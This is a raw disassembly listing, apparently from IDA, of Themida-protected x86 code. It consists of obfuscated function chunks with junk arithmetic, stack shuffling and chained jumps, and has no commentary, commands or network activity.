pop esi
pop [esp+4+var_4]
mov esp, [esp+0]
sub esp, 4
mov [esp+0], edi
push 147h
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
push [esp+4+var_4]
pop edi
jmp loc_572A86
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_56D315: ; CODE XREF: sub_569E1B+44F9j
mov dh, 7Eh
jmp loc_5709B8
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560EA2
loc_56D31C: ; CODE XREF: sub_560EA2+21BFj
sub [esp+0Ch+var_C], 72CF6641h
mov ecx, [esp+0Ch+var_C]
add esp, 4
add ecx, 72CF6641h
pop edx
push ebx
mov ebx, 14B50A0Bh
jmp loc_572E36
; END OF FUNCTION CHUNK FOR sub_560EA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56D33B: ; CODE XREF: sub_564D26+783j
pop eax
add esp, 4
mov ecx, [esp+8+var_8]
add esp, 4
sub esp, 4
mov [esp+8+var_8], ebp
push edi
mov edi, 4B6E02CDh
jmp loc_564F6C
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_56D359 proc near ; DATA XREF: Themida_:0055FE14o
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561733 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056464F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005646CE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00567710 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00569444 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569670 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00569A52 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056DA9D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FC5D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005723B1 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00572959 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0057332D SIZE 0000000A BYTES
push dword ptr [esp+0]
jmp loc_572959
sub_56D359 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E96D
loc_56D361: ; CODE XREF: sub_56E96D+1AD6j
push esi
mov esi, 505C6FF0h
not esi
push edx
jmp loc_56C4F3
; END OF FUNCTION CHUNK FOR sub_56E96D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56D36F: ; CODE XREF: sub_570732-68B0j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+14h+var_14]
pop esp
xchg edi, [esp+10h+var_10]
pop esp
or [edi+1Ch], ebp
jmp loc_56FC83
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
loc_56D38C: ; CODE XREF: Themida_:00573988j
mov ebx, 62BD3435h
shl ebx, 6
push 2EDCh
jmp loc_5752EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56959A
loc_56D39E: ; CODE XREF: sub_56959A+1526j
add ecx, ebx
pop ebx
pop edx
push esi
mov esi, 2
add ecx, esi
jmp loc_56913E
; END OF FUNCTION CHUNK FOR sub_56959A
; =============== S U B R O U T I N E =======================================
sub_56D3AF proc near ; DATA XREF: Themida_:0055FDACo
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561A46 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00562EBE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00564F99 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005697FA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056EABF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056EF88 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00570CC5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0057160C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00575070 SIZE 00000009 BYTES
push dword ptr [esp+0]
jmp loc_56EABF
sub_56D3AF endp
; =============== S U B R O U T I N E =======================================
sub_56D3B7 proc near ; DATA XREF: Themida_:0055FDCCo
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005637CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565CCA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005681D4 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00569AD5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570236 SIZE 0000000A BYTES
push dword ptr [esp+0]
pop eax
sub esp, 4
mov [esp+4+var_4], esi
jmp loc_5681D4
sub_56D3B7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56D3C6: ; CODE XREF: sub_567CF5-48E3j
dec ebp
xor ebp, 53733010h
add edx, 2D615C1Eh
add edx, ebp
jmp loc_57105B
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
loc_56D3DA: ; CODE XREF: Themida_:0056CE57j
add ecx, edi
pop edi
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
add [esp], al
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56D3F0: ; CODE XREF: sub_5678CB-7506j
pop esp
mov [esp+0], ecx
mov cl, 19h
jmp loc_56309C
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747FA
loc_56D3FB: ; CODE XREF: sub_5747FA+AEBj
add eax, ecx
jmp loc_573F27
; END OF FUNCTION CHUNK FOR sub_5747FA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566F55
loc_56D402: ; CODE XREF: sub_566F55+2D21j
add esp, 4
add edi, 4
add edi, 4
push edi
jmp loc_56D043
; END OF FUNCTION CHUNK FOR sub_566F55
; =============== S U B R O U T I N E =======================================
sub_56D414 proc near ; DATA XREF: Themida_:0055FF24o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0057147A SIZE 00000008 BYTES
mov ax, [esp+0]
push 7CE5h
mov [esp+4+var_4], ecx
sub esp, 4
jmp loc_57147A
sub_56D414 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565632
loc_56D428: ; CODE XREF: sub_565632+31D7j
xchg ebx, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
push 7BE7h
mov [esp-8+arg_4], ebp
push edi
mov edi, 3FA22636h
shl edi, 3
shl edi, 4
jmp loc_571FBD
; END OF FUNCTION CHUNK FOR sub_565632
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D464
loc_56D447: ; CODE XREF: sub_56D464-2358j
pop esp
mov [esp+8+var_8], eax
mov eax, 4
jmp loc_563E50
; END OF FUNCTION CHUNK FOR sub_56D464
; =============== S U B R O U T I N E =======================================
sub_56D455 proc near ; DATA XREF: Themida_:0055FF0Co
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00565A15 SIZE 0000001D BYTES
movzx ax, byte ptr [edx]
sub esp, 4
jmp loc_565A15
sub_56D455 endp
; =============== S U B R O U T I N E =======================================
sub_56D464 proc near ; DATA XREF: Themida_:0055FCE0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055FF9F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056088F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005618C7 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056272B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00563E50 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00566D4A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A486 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056B0FE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D447 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ECDC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00570E43 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573833 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573924 SIZE 00000015 BYTES
sub esp, 4
jmp loc_56088F
sub_56D464 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56628B
loc_56D46F: ; CODE XREF: sub_56628B+2352j
mov esi, [esp+0Ch+var_C]
add esp, 4
add esp, 4
sub eax, 6A271EE1h
jmp loc_567D66
; END OF FUNCTION CHUNK FOR sub_56628B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B1DC
loc_56D482: ; CODE XREF: sub_56B1DC+3F6Dj
add ecx, 9D83F363h
and esi, ecx
pop ecx
shr esi, 3
push ebp
sub esp, 4
mov [esp+10h+var_10], esi
mov esi, 4D606BBDh
inc esi
inc esi
push eax
mov eax, 337D2FC3h
xor esi, eax
mov eax, [esp+14h+var_14]
add esp, 4
push esi
xor [esp+14h+var_14], 30E9010Bh
pop ebp
jmp loc_561F1F
; END OF FUNCTION CHUNK FOR sub_56B1DC
; =============== S U B R O U T I N E =======================================
sub_56D4B8 proc near ; CODE XREF: sub_574656-5FA8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00560B19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005612BA SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005626B6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563BFB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056495E SIZE 0000005C BYTES
; FUNCTION CHUNK AT 0056656B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00567646 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00567EF6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00569C9F SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056AD12 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570A68 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00571DE2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00574048 SIZE 00000022 BYTES
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp+0]
add esp, 4
xchg esi, [esp+4+var_4]
pop esp
sub ecx, 7DBB3655h
inc ecx
push 282h
mov [esp+4+var_4], ebp
mov ebp, 50145640h
and ecx, ebp
pop ebp
push edi
jmp loc_567646
sub_56D4B8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_56D4EA: ; CODE XREF: sub_566DFE+79EFj
neg edi
jmp loc_5719A5
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_56D4F1: ; CODE XREF: sub_563FA2+3322j
xor eax, 4CA665CAh
jmp loc_573D29
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574F16
loc_56D4FB: ; CODE XREF: sub_574F16-BAD7j
push ecx
mov ecx, esp
jmp loc_566506
; END OF FUNCTION CHUNK FOR sub_574F16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_56D503: ; CODE XREF: sub_5722C8-B5BFj
pop ecx
add edi, 4
push edi
jmp loc_56751C
; END OF FUNCTION CHUNK FOR sub_5722C8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_56D50D: ; CODE XREF: sub_568E5C+51DEj
sub edx, 0ABB2D2F3h
mov ebp, edx
pop edx
push edi
push ebx
mov ebx, 55EC4E62h
push edx
jmp loc_57352C
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
loc_56D523: ; CODE XREF: Themida_:00567D50j
mov [esp], esi
mov esi, 35B243DDh
and esi, 608B7DE3h
shl esi, 3
neg esi
shr esi, 1
sub esi, 15886344h
add esi, 16D46F13h
or ebx, esi
pop esi
jmp loc_56B34C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_56D54C: ; CODE XREF: sub_5684A6+6433j
xor esi, [esp+4+var_4]
jmp loc_565C22
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56D554: ; CODE XREF: sub_574304-12744j
add ebx, ebp
jmp loc_565D36
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5604FE
loc_56D55B: ; CODE XREF: sub_5604FE+EF45j
inc edi
push eax
mov eax, 3DA64937h
or edi, eax
pop eax
jmp loc_56C080
; END OF FUNCTION CHUNK FOR sub_5604FE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56D56A: ; CODE XREF: sub_570E81-2AC7j
sub [esp+arg_0], eax
push 0A6Dh
mov [esp+4+var_4], ebp
push edi
mov edi, 548047F4h
mov ebp, edi
pop edi
add [esp+4+arg_0], ebp
pop ebp
jmp sub_56DBD1
; END OF FUNCTION CHUNK FOR sub_570E81
; =============== S U B R O U T I N E =======================================
sub_56D589 proc near ; CODE XREF: sub_56E126-B5E2j
; FUNCTION CHUNK AT 005716C7 SIZE 00000008 BYTES
push ebx
mov ebx, 14764074h
jmp loc_5716C7
sub_56D589 endp
; ---------------------------------------------------------------------------
loc_56D594: ; CODE XREF: Themida_:00563097j
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5730E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_56D5A5: ; CODE XREF: sub_574896-20D7j
push ecx
mov ecx, 5F0A3606h
sub ecx, 5F0A3602h
jmp loc_5602A2
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56D5B6: ; CODE XREF: sub_573612-374Fj
mov eax, [esp+0Ch+var_C]
add esp, 4
add ebx, 2
jmp loc_56AC96
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56D5C7: ; CODE XREF: sub_57354D-EF46j
pop edi
jmp loc_56BBB3
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57109F
loc_56D5CD: ; CODE XREF: sub_57109F+8j
push edi
mov edi, 0FEh
mov esi, edi
pop edi
and [edi+1Ch], esi
push [esp+4+var_4]
push [esp+8+var_8]
pop esi
push edi
jmp loc_56B881
; END OF FUNCTION CHUNK FOR sub_57109F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570732
loc_56D5E6: ; CODE XREF: sub_570732-4E3Cj
mov [esp+0], edx
push eax
push ebp
push ebx
mov ebx, 49A27181h
mov ebp, 0A9EEC42Bh
sub ebp, ebx
pop ebx
jmp loc_569B14
; END OF FUNCTION CHUNK FOR sub_570732
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56D5FE: ; CODE XREF: sub_56E126-C53Bj
inc [esp+8+var_8]
jmp loc_5728DE
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56D606: ; CODE XREF: sub_56B06D-36BFj
add esp, 4
or ecx, ecx
jz loc_565954
push esi
push esp
pop esi
add esi, 4
jmp loc_573CE5
; ---------------------------------------------------------------------------
loc_56D61F: ; CODE XREF: sub_56B06D-53C2j
add ecx, ebx
add ecx, 59BE033Ch
push 7348h
mov [esp+18h+var_18], edi
jmp loc_563917
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56102D
loc_56D634: ; CODE XREF: sub_56102D+99F9j
and edi, 539865F4h
sub edi, 0F20C1855h
xor eax, edi
jmp loc_5677A6
; END OF FUNCTION CHUNK FOR sub_56102D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_56D647: ; CODE XREF: sub_56E126-92D4j
add edi, 53D93622h
mov ebx, [esp+4+var_4]
add esp, 4
push 5C00h
mov [esp+4+var_4], esi
push edx
push 32FC6AD3h
pop edx
or edx, 0F0543BBh
not edx
or edx, 0A48390Dh
add edx, 544B5C31h
mov esi, edx
pop edx
sub esp, 4
mov [esp+8+var_8], ecx
push edi
mov edi, 21B154C3h
jmp loc_56C75F
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56D68D: ; CODE XREF: sub_574FC9-7E11j
add eax, 4
sub eax, 4
xchg eax, [esp+4+var_4]
jmp loc_56EA5F
; END OF FUNCTION CHUNK FOR sub_574FC9
; =============== S U B R O U T I N E =======================================
sub_56D69D proc near ; DATA XREF: Themida_:0055FD24o
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00562460 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00563AF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C11 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00565626 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565875 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567442 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005695CF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BF9D SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056ECCF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F7B3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00570B6B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00571737 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00571E91 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0057283A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00572DA4 SIZE 0000000D BYTES
lodsd
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 15227350h
sub eax, 6D893315h
sub eax, edx
add eax, 6D893315h
pop edx
add eax, 126F7465h
sub eax, ebx
sub eax, 126F7465h
push 105Ch
mov [esp+4+var_4], edi
mov edi, 15227350h
push 1AE7h
mov [esp+8+var_8], ebp
push edx
jmp loc_57283A
sub_56D69D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_56D6DD: ; CODE XREF: sub_56B06D+3BA5j
push eax
mov eax, 73C87D0Fh
or eax, 3C440D48h
jmp loc_56799F
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56D6ED: ; CODE XREF: sub_564D26+A866j
add esp, 4
sub edx, 0F7A28A87h
mov edi, edx
pop edx
jmp loc_56E988
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56D701: ; CODE XREF: sub_574FC9+4j
push esi
mov esi, esp
push ecx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xor edi, [esp+0Ch+var_C]
xor [esp+0Ch+var_C], edi
xor edi, [esp+0Ch+var_C]
pop esp
jmp loc_567AFB
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56189F
loc_56D720: ; CODE XREF: sub_56189F+8E85j
shr ebp, 4
add ebp, 0D21A090Ah
add edx, ebp
pop ebp
sub edi, 66F63577h
sub edi, edx
add edi, 66F63577h
pop edx
jmp loc_5619D9
; END OF FUNCTION CHUNK FOR sub_56189F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5715F0
loc_56D740: ; CODE XREF: sub_5715F0+17j
mov edi, 2A5A24FDh
add [esp+8], edi
pop edi
add [esp+4], ecx
push ecx
mov ecx, 2A5A24FDh
jmp loc_563DB0
; END OF FUNCTION CHUNK FOR sub_5715F0
; ---------------------------------------------------------------------------
loc_56D759: ; CODE XREF: Themida_:00566769j
add edi, 4
push ebx
mov ebx, 4
add edi, ebx
jmp loc_571B65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C83E
loc_56D76C: ; CODE XREF: sub_56C83E-84DEj
push esi
mov esi, 6BFD00F2h
jmp loc_5721CD
; END OF FUNCTION CHUNK FOR sub_56C83E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5681F5
loc_56D777: ; CODE XREF: sub_5681F5+313Cj
pop edx
add edx, 4
jmp loc_5644A2
; END OF FUNCTION CHUNK FOR sub_5681F5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56D783: ; CODE XREF: sub_56657A+213Fj
mov ebp, 0C7236CFh
jmp loc_574361
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_56D78D: ; CODE XREF: sub_5684A6+650Cj
pop ecx
push edx
mov edx, 10B4039h
xor edx, 2A7C552Dh
sub esp, 4
mov [esp+0Ch+var_C], ebx
mov ebx, 50107BA3h
and edx, ebx
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_571DF1
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5716E8
loc_56D7B8: ; CODE XREF: sub_5716E8+4j
push 65h
mov [esp+4+var_4], edi
jmp sub_56EFD2
; END OF FUNCTION CHUNK FOR sub_5716E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_56D7C5: ; CODE XREF: sub_570B3C-9E6Bj
pop dword ptr [edx+38h]
mov ebx, [esp+0]
jmp loc_56594E
; END OF FUNCTION CHUNK FOR sub_570B3C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56D7D0: ; CODE XREF: sub_56CC46+4D8j
pop ebp
mov ebp, esi
mov esi, [esp+4+var_4]
add esp, 4
push ecx
mov ecx, 4CC13102h
not ecx
jmp loc_56B5A1
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
loc_56D7E6: ; CODE XREF: Themida_:00564302j
push ebx
jmp loc_573307
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56D7EC: ; CODE XREF: sub_57354D-CC8Ej
xor eax, [esp+8+var_8]
xor [esp+8+var_8], eax
xor eax, [esp+8+var_8]
pop esp
jmp loc_573337
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5671E1
loc_56D7FB: ; CODE XREF: sub_5671E1-C12j
add edi, ecx
add edi, 6CFE34C2h
pop ecx
push esi
mov esi, 72C13B6Fh
add esi, 3CA85FDEh
shr esi, 6
jmp loc_56B9DE
; END OF FUNCTION CHUNK FOR sub_5671E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56D818: ; CODE XREF: sub_56AB5E-73D8j
mov ebx, [esp+0Ch+var_C]
add esp, 4
jmp loc_56DD6D
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_56D823: ; CODE XREF: sub_560844-63Aj
push 3772h
jmp loc_5698FC
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56D82D: ; CODE XREF: sub_574656-1080Bj
pop [esp+4+var_4]
jmp loc_56ED3F
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56D835: ; CODE XREF: sub_57146D-21D4j
push edx
jmp loc_56FD84
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57236D
loc_56D83B: ; CODE XREF: sub_57236D-58A4j
or ebx, 1815688Eh
neg ebx
inc ebx
add ebx, 551EA4F0h
shl ebx, 6
shr ebx, 3
jmp loc_57026E
; END OF FUNCTION CHUNK FOR sub_57236D
; =============== S U B R O U T I N E =======================================
sub_56D855 proc near ; DATA XREF: Themida_:0055FE44o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = word ptr 4
; FUNCTION CHUNK AT 00561490 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056158E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056163D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005639FD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005648BA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005657CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005691E7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C910 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056CE3A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056E220 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E928 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0056EA2E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005721C6 SIZE 00000007 BYTES
mov cx, [esp+0]
push eax
jmp loc_561490
sub_56D855 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_56D85F: ; CODE XREF: sub_57146D-25B4j
push 0BBFh
mov [esp+0], ebx
mov bl, 0BBh
xor al, bl
mov ebx, [esp+0]
add esp, 4
jmp loc_567E64
; END OF FUNCTION CHUNK FOR sub_57146D
; ---------------------------------------------------------------------------
loc_56D876: ; CODE XREF: Themida_:005699BAj
push esp
mov edi, [esp]
add esp, 4
jmp loc_563BE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573612
loc_56D885: ; CODE XREF: sub_573612-104EBj
sub ebx, edi
push [esp+0Ch+var_C]
pop edi
push esi
mov esi, esp
jmp loc_565493
; END OF FUNCTION CHUNK FOR sub_573612
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56421E
loc_56D893: ; CODE XREF: sub_56421E+1Aj
xchg ebp, [esp+0]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56421E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_56D89C: ; CODE XREF: sub_574304-13447j
shl ecx, 3
sub ecx, 87C6E63h
neg ecx
jmp loc_574AD6
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56D8AC: ; CODE XREF: sub_570E81-41CFj
not ebp
sub esp, 4
mov [esp+0Ch+var_C], edx
jmp loc_56EFB0
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_56D8BC: ; CODE XREF: sub_569FB8+AE5j
sub ch, 4Ah
add ch, 0B6h
sub ch, bl
sub ch, 0B6h
add ch, 4Ah
pop ebx
jmp loc_570314
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56D8D0: ; CODE XREF: sub_561027+1531j
and edi, 10937BBCh
sub edi, 0D28D1EF3h
or edx, edi
mov edi, [esp+10h+var_10]
add esp, 4
inc edx
add edx, 80A0A144h
add ebx, edx
pop edx
push edi
jmp loc_560912
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_56D8F4: ; CODE XREF: sub_561418+11669j
pop esp
xchg ecx, [esp+0Ch+var_C]
pop esp
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56D8FE: ; CODE XREF: sub_57354D+106Fj
mov eax, 7569652Eh
push ecx
mov ecx, 16E73C9Ah
push 0
sub [esp+14h+var_14], ecx
pop ecx
neg ecx
shr ecx, 6
or ecx, 358A3734h
add ecx, 0DDF3BA71h
add eax, ecx
pop ecx
shr eax, 2
jmp loc_564702
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DC7
loc_56D92E: ; CODE XREF: sub_566DC7+1j
add [esp+8+var_8], 1B58508Dh
pop ebp
sub ebp, 1B58508Dh
mov ebx, [esp+4+var_4]
add esp, 4
push edx
mov edx, 30323AA9h
sub esi, edx
mov edx, [esp+4+var_4]
add esp, 4
jmp loc_5607B8
; END OF FUNCTION CHUNK FOR sub_566DC7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56D958: ; CODE XREF: sub_5754DA-BDE1j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
sub ch, 1Ch
jmp loc_570E02
; END OF FUNCTION CHUNK FOR sub_5754DA
